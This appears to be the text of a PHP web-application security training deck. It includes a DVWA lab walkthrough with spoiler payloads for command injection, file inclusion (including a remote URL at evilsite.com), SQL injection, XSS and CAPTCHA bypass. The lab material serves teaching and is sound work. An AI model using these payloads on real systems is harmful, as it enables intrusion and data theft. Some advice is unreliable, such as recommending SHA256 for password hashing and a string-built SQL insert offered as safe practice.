2. Welcome
PHP fundamentals
a) Server Setup
b) Basic Syntax
PHP Techniques on web application security
a) Fundamental security principles
b) Defend from common threats
c) Best Practices
d) Tools
Bonus : Deployments methods with GIT
3. What is Security in Web Application ?
Keeping web application and server safe from harm
Who are we keeping it safe from ?
Hackers, opportunities, and exploties
What are we protecting ?
Data, information and our system users
4. What is PHP ?
PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose
scripting language that is especially suited for web development and can be embedded into HTML.
How does it works?
PHP runs on apache 2 platform and process scripts on the server side.
6. My first PHP application
Type syntax as below in atom and save in /var/www/html/test.php
<?php echo “Hello World!” ?>
Try running it in browser http://localhost/test.php
8. PHP Config Blundres
● display_errors: With this directive set to Off, errors that occur during the execution of scripts will not be
displayed as a part of the script output, and thus, will not be exposed to remote users. With some errors, the
error message content may expose information about your script, web server, or database server that may be
exploitable for hacking. Production sites should have this directive set to Off.
● display_startup_errors: With this directive set to Off, errors that occur during PHP's startup sequence are not
displayed. It is strongly recommended to keep this directive to Off.
● html_errors: Disable the inclusion of HTML tags in error messages. Never use this feature in a production
deployment as when set to On, error messages will be displayed with links to code sections that contain the
error, thereby exposing your php source code.
● disable_functions: This directive allows you to disable certain functions for security reasons. It receives a
comma-separated list of function names.
● expose_php: Decides whether PHP may expose the fact that it is installed on the server by adding its signature
to the web server header. It is not a real security threat. However, it makes it possible to determine whether you
use PHP on your server or not. Better to keep if Off.
● register_globals: You should do your best to write your scripts so that they do not require register_globals to be
On. Using form variables as globals can easily lead to possible security problems, if the code is not very well
thought of.
● register_long_arrays: Disables registration of the older (and deprecated) long predefined array variables
(HTTP_GET_VARS, etc.). Instead, use the superglobals that were introduced in PHP 4.1.0. Disabling this would
also help enhance performance.
9. PHP Config Blundres (Cont)
● register_argc_argv: This directive tells PHP whether to declare the argv & argc variables (that would contain
the GET information). If you don't use these variables, you should turn it off for increased performance and
security.
● magic_quotes_gpc: This refers to magic quotes for incoming GET/POST/Cookie data. Disabling this will
ensure that Input data is not automatically escaped with slashes before sending to SQL databases. Instead, you
should use the database vendor specific escape string function on each input element you wish to send to a
database.
● magic_quotes_runtime: Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
● magic_quotes_sybase: Use Sybase-style magic quotes (escape ' with '' instead of ').
● allow_url_fopen: Whether to allow the treatment of URLs (like http:// or ftp://) as files.
● allow_url_include: Whether to allow include/require to open URLs (like http:// or ftp://) as files.
10. Unvalidated inputs
1. Data type (string, integer, real, etc…)
2. Allowed character set
3. Minimum and maximum length
4. Whether null is allowed
5. Whether the parameter is required or not
6. Whether duplicates are allowed
7. Numeric range
8. Specific legal values (enumeration)
9. Specific patterns (regular expressions)
11. Solution for Access Control & Session ID
protection
Lets build access control in php follow my screen.
12. Error Reporting & Data Error Handling
1. Important to set right config
2. For production server set to off to avoid users seeing our structure and file naming
conventions.
3. Masking PHP error to user understandable error message
Lets try it out and see the results..
13. File Functions
There are two important measures you should take to prevent these issues.
● Only allow limited permissions to the PHP web user binary.
● Check all variables which are submitted.
● Limit file uploading formats
14. EZMLM_HASH()
Handling Email addresses in PHP and keeping them safe.
Sample:
<?php
$user = "foo@gmail.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO users VALUES (%s, '%s')", $hash, $user);
$db->query($query);
?>
17. Informational Vulnerabilities
Attacker does vulnerability scan to get important information from the system for example :
1. Credentials
2. User personal information
Solution:
1. WAF
2. SSL
3. Data Sanitization
18. Common Filename Vulnerability
Attacker uploads files or scripts and take over the server to access databases and tinker with it
as they like.Attacker can gain full control of system and get full access to system and system
Solution:
1. Dynamic naming
2. Permission limitation
3. File scanning
19. Revealed Source Code Vulnerability
Knowing system source code and structure it makes attacker easier to pinpoint attack specific
function .Attacker should be able to gain data or control for their benefit without system owner
relizaing.
Solution:
1. Modular Developments
2. No public server if sensitive systems
20. Revealing Error Message Vulnerability
PHP error intend to reveal the file location of file where the error has occurred.Revealing
system weak points as well as system structure.
Solution:
1. Mask
21. Sensitive Data in Web Root Vulnerability
The application stores sensitive data under the web document root with insufficient access
control, which might make it accessible to untrusted parties.
Solution:
22. Session File in Shared Server Vulnerability
Also known as Cross Site Cookie Manipulation, where having system on Shared server can
make system to gain access on to each other due to sitting on same machine.
Solution:
23. Sensitive Data in Globally Readable File
Vulnerability
Making sensitive data readable without proper permission and authentications. This is one of
the common issue with setting up open source libraries.
Solution:
24. Revealing HTML Comment Vulnerability
Somewhere early 2010s google chrome and mozilla has introduced inspect elements which give
power to every user to inspect HTML code of each site. Hence to this tool living codes as HTML
comments in production becomes one of the biggest issue to web developers.
Solution:
25. Web Application Fingerprint Vulnerability
Web application fingerprinting is an important task for web application penetration tests.It will
help us to identify the well-known vulnerabilities that are affecting the web server and the
vulnerabilities that are affecting the application that is installed.So we will know what kind of
exploits we will need to use in order to start the exploitation.
Solution:
26. Packet Sniffing Vulnerability
Here attacker will analyze data is pass thru network between end user and server. This is one of
the dangerous and most seriously taken vulnerability as it could give access to important
information like credit card number and user banking login.
Solution:
27. Attack Vulnerabilities
Malicious attack purpose to steal data or bring the server down. In some cases to take over
domain and server to start processing email for valuable information.
Solution:
28. Global Variable Vulnerability
PHP is prone to a vulnerability that allows attackers to overwrite the GLOBAL variable via
HTTP POST requests.By exploiting this issue, remote attackers may be able to overwrite the
GLOBAL variable. This may allow attackers to further exploit latent vulnerabilities in PHP
scripts.
Solution:
29. Default Password Vulnerability
A common vulnerability found routers, devices and other electronics devices. But applications
and systems are not immune to this attacks as there are always default password for some
application when setup.
Solution:
30. Online Backup Vulnerability
When it comes to ransomware attacks, you are only as vulnerable as your last backup. It will
attack all the files and encrypt (lock) it and make all backups not usable to restore your data or
system.
Solution :
32. Brute Force
GOAL
Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!
Low Level
The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to
any user without any repercussions.
Medium Level
This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before
the page is visible.This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.
High Level
There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force
attacks. This is not the case. This level also extends on the medium level, by waiting when there is a failed login but this time it is a
random amount of time between two and four seconds. The idea of this is to try and confuse any timing predictions.Using a CAPTCHA
form could have a similar effect as a CSRF token.
Impossible Level
Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where
if there are five bad logins within the last 15 minutes, the locked out user cannot log in.If the locked out user tries to login, even with a
valid password, it will say their username or password is incorrect. This will make it impossible to know if there is a valid account on the
system, with that password, and if the account is locked.This can cause a "Denial of Service" (DoS), by having someone continually
trying to login to someone's account. This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-
agent).
33. Command Injection
Goal
Remotely, find out the user of the web service on the OS, as well as the machines hostname via RCE.
Low Level
This allows for direct input into one of many PHP functions that will execute commands on the OS. It is possible to escape out of the
designed command and executed unintentional actions.
This can be done by adding on to the request, "once the command has executed successfully, run this command".
Example: 127.0.0.1 && ls
Medium Level
The developer has read up on some of the issues with command injection, and placed in various pattern patching to filter the input.
However, this isn't enough.Various other system syntaxes can be used to break out of the desired command.e.g. background the ping
command.
High Level
In the high level, the developer goes back to the drawing board and puts in even more pattern to match. But even this isn't enough.
The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake.
Impossible Level
In the impossible level, the challenge has been re-written, only to allow a very strict input. If this doesn't match and doesn't produce a
certain result, it will not be allowed to execute. Rather than "black listing" filtering (allowing any input and removing unwanted), this uses
"white listing" (only allow certain values).
34. Cross Site Request Forgery (CSRF)
Goal
Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack.
Low Level
There are no measures in place to protect against this attack. This means a link can be crafted to achieve a certain action (in this case,
change the current users password). Then with some basic social engineering, have the target click the link (or just visit a certain page),
to trigger the action.
E.g. ?password_new=password&password_conf=password&Change=Change.
Medium Level
For the medium level challenge, there is a check to see where the last requested page came from. The developer believes if it matches
the current domain, it must of come from the web application so it can be trusted.
It may be required to link in multiple vulnerabilities to exploit this vector, such as reflective XSS.
High Level
In the high level, the developer has added an "anti Cross-Site Request Forgery (CSRF) token". In order by bypass this protection
method, another vulnerability will be required.
e.g. Javascript is a executed on the client side, in the browser.
Impossible Level
In the impossible level, the challenge will extent the high level and asks for the current user's password. As this cannot be found out
(only predicted or brute forced), there is not an attack vector here.
35. File Inclusion
Goal
Read all five famous quotes from '../hackable/flags/fi.php' using only the file inclusion.
Low Level
This allows for direct input into one of many PHP functions that will include the content when executing.
Depending on the web service configuration will depend if RFI is a possibility.
e.g: LFI: ?page=../../../../../../etc/passwd.
e.g: RFI: ?page=http://www.evilsite.com/evil.php.
Medium Level
The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't
enough.
e.g: LFI: Possible, due to it only cycling through the pattern matching once.
e.g: RFI: PHP Streams.
High Level
The developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same
basename, they use a wildcard to include them all.
e.g: LFI: The filename only has start with a certain value..
e.g: RFI: Need to link in another vulnerability, such as file upload.
Impossible Level
The developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of
attack.
36. File Upload
Goal
Execute any PHP function of your choosing on the target system (such as phpinfo() or system()) thanks to this file upload vulnerability.
Low Level
Low level will not check the contents of the file being uploaded in any way. It relies only on trust.
e.g: Upload any valid PHP file with command in it.
Medium Level
When using the medium level, it will check the reported file type from the client when its being uploaded.
Spoiler: Worth looking for any restrictions within any "hidden" form fields.
High Level
Once the file has been received from the client, the server will try to resize any image that was included in the request.
Spoiler: need to link in another vulnerability, such as file inclusion.
Impossible Level
This will check everything from all the levels so far, as well then to re-encode the image. This will make a new image, therefor stripping
any "non-image" code (including metadata).
37. Insecure CAPTCHA
Goal
Your aim, change the current user's password in a automated manner because of the poor CAPTCHA system.
Low Level
The issue with this CAPTCHA is that it is easily bypassed. The developer has made the assumption that all users will progress through
screen 1, complete the CAPTCHA, and then move on to the next screen where the password is actually updated. By submitting the
new password directly to the change page, the user may bypass the CAPTCHA system.
The parameters required to complete this challenge in low security would be similar to the following:
Spoiler: ?step=2&password_new=password&password_conf=password&Change=Change.
Medium Level
The developer has attempted to place state around the session and keep track of whether the user successfully completed the
CAPTCHA prior to submitting data. Because the state variable (Spoiler: passed_captcha) is on the client side, it can also be
manipulated by the attacker like so:
Spoiler: ?step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change.
High Level
There has been development code left in, which was never removed in production. It is possible to mimic the development values, to
allow invalid values in be placed into the CAPTCHA field.
You will need to spoof your user-agent (Spoiler: reCAPTCHA) as well as use the CAPTCHA value of (Spoiler: hidd3n_valu3) to skip the
check.
Impossible Level
In the impossible level, the developer has removed all avenues of attack. The process has been simplified so that data and CAPTCHA
verification occurs in one single step. Alternatively, the developer could have moved the state variable server side (from the medium
level), so the user cannot alter it.
38. SQL Injection
Goal
There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords via SQLi.
Low Level
The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are
able to execute any SQL query they wish.
Spoiler: ?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit.
Medium Level
The medium level uses a form of SQL injection protection, with the function of "mysql_real_escape_string()". However due to the SQL
query not having quotes around the parameter, this will not fully protect the query from being altered.
The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.
Spoiler: ?id=a UNION SELECT 1,2;-- -&Submit=Submit.
High Level
This is very similar to the low level, however this time the attacker is inputting the value in a different manner. The input values are
being transferred to the vulnerable query via session variables using another page, rather than a direct GET request.
Spoiler: ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit.
Impossible Level
The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, and
has distinguish which sections are code, and the rest is data.
39. SQL Injection (Blind)
Goal
Find the version of the SQL database software through a blind SQL attack.
Low Level
The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are
able to execute any SQL query they wish.
Spoiler: ?id=1' AND sleep 5&Submit=Submit.
Medium Level
The medium level uses a form of SQL injection protection, with the function of "mysql_real_escape_string()". However due to the SQL
query not having quotes around the parameter, this will not fully protect the query from being altered.
The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.
Spoiler: ?id=1 AND sleep 3&Submit=Submit.
High Level
This is very similar to the low level, however this time the attacker is inputting the value in a different manner. The input values are
being set on a different page, rather than a GET request.
Spoiler: ID: 1' AND sleep 10&Submit=Submit.
Impossible Level
The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, and
has distinguish which sections are code, and the rest is data.
40. Weak Session IDs
Goal
This module uses four different ways to set the dvwaSession cookie value, the objective of each level is to work out how the ID is
generated and then infer the IDs of other system users.
Low Level
The cookie value should be very obviously predictable.
Medium Level
The value looks a little more random than on low but if you collect a few you should start to see a pattern.
High Level
First work out what format the value is in and then try to work out what is being used as the input to generate the values.
Extra flags are also being added to the cookie, this does not affect the challenge but highlights extra protections that can be added to
protect the cookies.
Impossible Level
The cookie value should not be predictable at this level but feel free to try.
As well as the extra flags, the cookie is being tied to the domain and the path of the challenge.
41. Cross Site Scripting (DOM Based)
Goal
Run your own JavaScript in another user's browser, use this to steal the cookie of a logged in user.
Low Level
Low level will not check the requested input, before including it to be used in the output text.
Spoiler: /vulnerabilities/xss_d/?default=English<script>alert(1)</script>.
Medium Level
The developer has tried to add a simple pattern matching to remove any references to "<script" to disable any JavaScript. Find a way to
run JavaScript without using the script tags.
Spoiler: You must first break out of the select block then you can add an image with an onerror event:
/vulnerabilities/xss_d/?default=English>/option></select><img src='x' onerror='alert(1)'>.
High Level
The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server.
Spoiler: The fragment section of a URL (anything after the # symbol) does not get sent to the server and so cannot be blocked. The bad
JavaScript being used to render the page reads the content from it when creating the page.
/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>.
Impossible Level
The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being
executed.
42. Cross Site Scripting (Reflected)
Goal
One way or another, steal the cookie of a logged in user.
Low Level
Low level will not check the requested input, before including it to be used in the output text.
Spoiler: ?name=<script>alert("XSS");</script>.
Medium Level
The developer has tried to add a simple pattern matching to remove any references to "<script>", to disable any JavaScript.
Spoiler: Its cAse sENSiTiVE.
High Level
The developer now believes they can disable all JavaScript by removing the pattern "<s*c*r*i*p*t".
Spoiler: HTML events.
Impossible Level
Using inbuilt PHP functions (such as "htmlspecialchars()"), its possible to escape any values which would alter the behaviour of the
input.
43. Cross Site Scripting (Stored)
Goal
Redirect everyone to a web page of your choosing.
Low Level
Low level will not check the requested input, before including it to be used in the output text.
Spoiler: Either name or message field: <script>alert("XSS");</script>.
Medium Level
The developer had added some protection, however hasn't done every field the same way.
Spoiler: name field: <sCriPt>alert("XSS");</sCriPt>.
High Level
The developer believe they have disabled all script usage by removing the pattern "<s*c*r*i*p*t".
Spoiler: HTML events.
Impossible Level
Using inbuilt PHP functions (such as "htmlspecialchars()"), its possible to escape any values which would alter the behaviour of the
input.
44. Best Practices
1. Remove unwanted code instead commenting code
2. Use Current Version of PHP
3. Password HASHING - Recommended SHA256
4. Use PDO to connect to databases
5. Single Vs Double quote
6. Define VS Const
7. Use preg_* for REGEX
8. Sanitizing HTML input and outputs
9. Use UTF-8 to process string
10. Check for Null Values
11. Use whitelisting instead of blacklisting
12. Standardization of System code and structure